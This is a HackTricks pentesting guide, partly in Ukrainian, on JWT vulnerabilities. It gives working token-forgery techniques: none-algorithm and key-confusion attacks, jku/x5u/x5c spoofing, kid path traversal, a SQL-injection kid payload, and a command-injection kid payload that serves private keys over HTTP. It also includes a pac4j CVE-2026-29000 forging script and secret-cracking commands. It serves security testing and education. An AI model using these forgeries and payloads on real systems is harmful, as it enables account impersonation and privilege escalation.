JWT Vulnerabilities (Json Web Tokens)
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.
Частина цього посту базується на чудовому пості: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Автор чудового tool для pentest JWTs https://github.com/ticarpi/jwt_tool
Quick Wins
Запустіть jwt_tool у mode All Tests! і дочекайтеся зелених рядків
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Якщо вам пощастить, tool знайде якийсь випадок, де web application некоректно перевіряє JWT:
.png)
Тоді ви можете знайти request у вашому proxy або отримати використаний JWT для цього request за допомогою jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Ви також можете використати Burp Extension SignSaboteur, щоб запускати JWT-атаки з Burp.
Практичний workflow оцінки JWT
- Визначте межі session control: Виберіть user-specific request (наприклад, profile, billing). Прибирайте cookies/headers по одному, доки request не буде відхилений, щоб ізолювати, який саме token(s) фактично gate authorization.
- Знайдіть JWT у traffic: Зазвичай вони знаходяться в
Authorization: Bearer <JWT>, але також можуть бути в custom headers або cookies. Якщо Burp їх не підсвічує, використайте Target → Site map → Engagement tools → Search з regex-патернами, наприклад: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- Decode and enumerate: Використайте Burp JWT Editor або
python3 jwt_tool.py <JWT>, щоб прочитати header/payload. Зверніть увагу наalg,exp/token lifetime та claims, що керують authn/authz (role,id,username,email, тощо). - Signature enforcement sanity check: Змініть або видаліть кілька байтів у частині signature і повторно надішліть request. Якщо його приймають, це означає відсутність перевірки signature, і ви можете прямо змінювати payload claims.
- Goal: Змінити payload claims, щоб підвищити privileges; кожна атака нижче спрямована на те, щоб змусити server прийняти tampered payload, використовуючи weak verification, weak secrets або небезпечний key selection.
Підробка data без зміни нічого
Ви можете просто tamper з data, залишивши signature як є, і перевірити, чи server перевіряє signature. Спробуйте змінити username на “admin”, наприклад.
Is the token checked?
Щоб перевірити, чи signature JWT перевіряється:
- Повідомлення про error може вказувати на процес verification; sensitive details у verbose errors слід переглянути.
- Зміна у returned page також вказує на verification.
- Відсутність змін вказує на відсутність verification; саме тоді варто експериментувати з tampering payload claims.
Origin
Важливо визначити, чи token був згенерований server-side чи client-side, переглянувши request history proxy.
- Token-и, вперше помічені з client side, можуть означати, що key доступний у client-side code, і це потребує додаткового дослідження.
- Token-и, що походять із server-side, вказують на secure process.
Duration
Перевірте, чи token діє більше ніж 24h… можливо, він ніколи не закінчується. Якщо є поле “exp”, перевірте, чи server коректно його обробляє.
Brute-force HMAC secret
Якщо header використовує HS256, збережіть token у файл і спробуйте offline cracking:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Після відновлення secret завантажте його як symmetric key у Burp JWT Editor і повторно підпишіть змінені claims.
Отримання JWT secrets із leaked config + DB data
Якщо arbitrary file read (або backup leak) розкриває і application encryption material, і user records, інколи можна відтворити JWT signing secret і forge session cookies без знання жодних plaintext passwords. Приклад патерну, який спостерігається у workflow automation stacks:
- Leak app key (наприклад,
encryptionKey) з config file. - Leak user table, щоб отримати
email,password_hashіuser_id. - Derive signing secret із key, а потім derive per-user hash, який очікується в JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Drop the signed token into the session cookie (e.g.,
n8n-auth) to impersonate the user/admin account even if the password hash is salted.
Modify the algorithm to None
Set the algorithm used as “None” and remove the signature part.
Use the Burp extension call “JSON Web Token” to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the “JSON Web Token” tab you can modify the values of the token. You can also select to put the value of the “Alg” field to “None”).
JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)
Some stacks expect a signed inner JWT wrapped inside an encrypted JWE. In vulnerable pac4j-jwt versions (before 4.5.9, 5.7.9, and 6.3.3), the authenticator decrypts the JWE, tries to parse the payload as a signed JWT, and only verifies the signature if that conversion succeeds. If the decrypted payload is a PlainJWT (alg=none), toSignedJWT() returns null and the signature verification path is skipped.
- Pre-reqs:
- The application accepts JWE bearer tokens
- The server public key is exposed (commonly via JWKS such as
/.well-known/jwks.jsonor/api/auth/jwks) - Authorization depends on attacker-controlled claims such as
sub,role,groups, orscope - Impact: forge an encrypted token for any user/role using only the public key
Practical checks:
- Enumerate the frontend / API docs for clues such as
RSA-OAEP-256,A128GCM/A256GCM,jwks, or comments saying “inner JWT is signed”. - Fetch the JWKS and import the RSA key from
n/e. - Build the inner token manually as
base64url(header) + "." + base64url(payload) + "."so the signature is empty. - Encrypt that plaintext JWT as a JWE using the exposed public key and replay it as the bearer token.
Minimal PlainJWT construction:
header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)
Зашифруйте це в компактний JWE з RSA public key з JWKS:
rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
Примітки:
- If your JWT library refuses to emit
alg=none, generate the compact token manually as shown above. - Значення
encмає відповідати одному з тих, що приймає ціль; коментарі фронтенда та легітимні токени часто це розкривають. - У SPA перевірте, чи зберігається bearer token у
sessionStorage,localStorageабо в cookie, доступному для JS; скинути туди підроблений token часто достатньо, щоб швидко підтвердити bypass.
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
The algorithm HS256 uses the secret key to sign and verify each message.
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.
Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Використовуйте Burp JWT Editor, імпортуйте RSA public key (з /.well-known/jwks.json або PEM) і запустіть Attack → HMAC Key Confusion Attack, щоб автоматизувати повторне підписання HS256.
New public key inside the header
Зловмисник вбудовує новий key у header токена, і сервер використовує цей новий key для перевірки signature (CVE-2018-0114).
Це можна зробити за допомогою розширення Burp “JSON Web Tokens”.
(Надішліть request до Repeater, у вкладці JSON Web Token виберіть “CVE-2018-0114” і надішліть request).
JWKS Spoofing
Інструкції описують метод оцінки безпеки JWT token, особливо тих, що використовують claim заголовка “jku”. Цей claim має посилатися на файл JWKS (JSON Web Key Set), який містить public key, потрібний для перевірки token.
-
Assessing Tokens with “jku” Header:
-
Перевірте URL у claim “jku”, щоб переконатися, що він веде до правильного JWKS file.
-
Змініть значення “jku” у token так, щоб воно вказувало на контрольований web service, що дозволить спостерігати traffic.
-
Monitoring for HTTP Interaction:
-
Спостереження за HTTP request на вказаний вами URL означає, що сервер намагається отримати keys за вашим наданим посиланням.
-
Під час використання
jwt_toolдля цього процесу важливо оновити файлjwtconf.iniз вашим особистим JWKS location, щоб полегшити testing. -
Command for
jwt_tool: -
Виконайте таку команду, щоб симулювати сценарій за допомогою
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
Необов’язковий claim заголовка, відомий як kid, використовується для ідентифікації конкретного key, що стає особливо важливим у середовищах, де існує кілька keys для перевірки token signature. Цей claim допомагає вибрати відповідний key для перевірки signature токена.
Revealing Key through “kid”
Коли claim kid присутній у header, радять пошукати у web directory відповідний file або його варіації. Наприклад, якщо вказано "kid":"key/12345", слід шукати files /key/12345 та /key/12345.pem у web root.
Path Traversal with “kid”
Claim kid також можна використати для навігації file system, що потенційно дозволяє вибрати довільний file. Можна перевіряти connectivity або виконувати Server-Side Request Forgery (SSRF) attacks, змінюючи значення kid для націлення на конкретні files або services. Підміну JWT зі зміною значення kid із збереженням оригінальної signature можна виконати за допомогою прапорця -T у jwt_tool, як показано нижче:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Таргетуючи файли з передбачуваним вмістом, можна підробити валідний JWT. Наприклад, файл /proc/sys/kernel/randomize_va_space у Linux-системах, відомий тим, що містить значення 2, можна використати в параметрі kid з 2 як симетричним паролем для генерації JWT.
Практичний шаблон для крихкого завантаження ключа з file-system — згенерувати ключ HS256 з JWK k, встановленим у AA==, задати kid як traversal на кшталт ../../../../../../../dev/null і повторно підписати — деякі реалізації сприймають порожній файл як валідний HMAC secret і приймають підроблені токени.
SQL Injection via “kid”
Якщо вміст claim kid використовується для отримання пароля з бази даних, SQL injection можна полегшити, змінивши payload kid. Приклад payload, що використовує SQL injection для зміни процесу підписування JWT:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Ця зміна змушує використовувати відомий secret key, ATTACKER, для підписування JWT.
OS Injection through “kid”
Сценарій, у якому параметр kid задає шлях до файлу, що використовується в контексті виконання команди, може призвести до вразливостей Remote Code Execution (RCE). Вставляючи команди в параметр kid, можна отримати доступ до private keys. Приклад payload для досягнення RCE та витоку ключа:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku розшифровується як JWK Set URL.
Якщо токен використовує claim Header “jku”, тоді перевірте наданий URL. Він має вказувати на URL, що містить файл JWKS, який зберігає Public Key для перевірки токена. Підмініть токен так, щоб значення jku вказувало на вебсервіс, трафік якого ви можете моніторити.
Спочатку вам потрібно створити новий certificate з новими private і public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter jku to the certificate created. In order to create a valid jku certificate you can download the original one and change the needed parameters.
You can obtain the parametes “e” and “n” from a public certificate using:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
Якщо verifier отримує key material віддалено, вставте Burp Collaborator URL у jku/x5u за допомогою JWT Editor → Attack → Embed Collaborator payload. Будь-який callback підтверджує SSRF-style key retrieval; потім розмістіть власний JWKS/PEM за цією URL і повторно підпишіть своїм private key, щоб сервіс валідовував attacker-minted tokens.
x5u
X.509 URL. URI, що вказує на набір X.509 (standard format certificate) public certificates, закодованих у PEM form. Перший certificate в наборі має бути тим, що використовується для підпису цього JWT. Наступні certificates кожен підписує попередній, таким чином завершуючи certificate chain. X.509 визначено в RFC 52807 . Для transfer certificates потрібен Transport security.
Спробуйте змінити цей header на URL під вашим контролем і перевірте, чи буде отримано будь-який request. У такому разі ви could tamper the JWT.
Щоб forge новий token за допомогою certificate, контрольованого вами, потрібно створити certificate і витягнути public та private keys:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Then you can use for example jwt.io to create the new JWT with the створеними public і private keys та вказавши параметр x5u на сертифікат .crt, що створено.
.png)
You can also abuse both of these vulns for SSRFs.
x5c
This parameter may contain the certificate in base64:
.png)
If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replace the “x5c” parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Вбудований публічний ключ (CVE-2018-0114)
Якщо JWT містить вбудований public key, як у такому сценарії:
.png)
За допомогою наступного nodejs script можна згенерувати public key з цих даних:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Можливо згенерувати нову private/public key, вбудувати новий public key всередину token і використати його для генерації нового signature:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Ви можете отримати “n” і “e” за допомогою цього nodejs скрипта:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finally, using the public and private key and the new “n” and “e” values you can use jwt.io to forge a new valid JWT with any information.
ES256: Відкриття private key з тим самим nonce
If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.
Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.
- A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user’s account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.
Expiry Check of Tokens
The token’s expiry is checked using the “exp” Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user’s JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the “exp” claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an “exp” claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool’s -R flag.
- A security risk may be present if the application still validates the token, as it may imply that the token could never expire.
Tools
- jwt_tool – decoding, claim/header tampering, offline secret cracking (
-C) and semi-automated attack modes (-M at). - Burp JWT Editor – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
- hashcat
-m 16500– GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
- 0xdf - HTB: Principal
- CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.


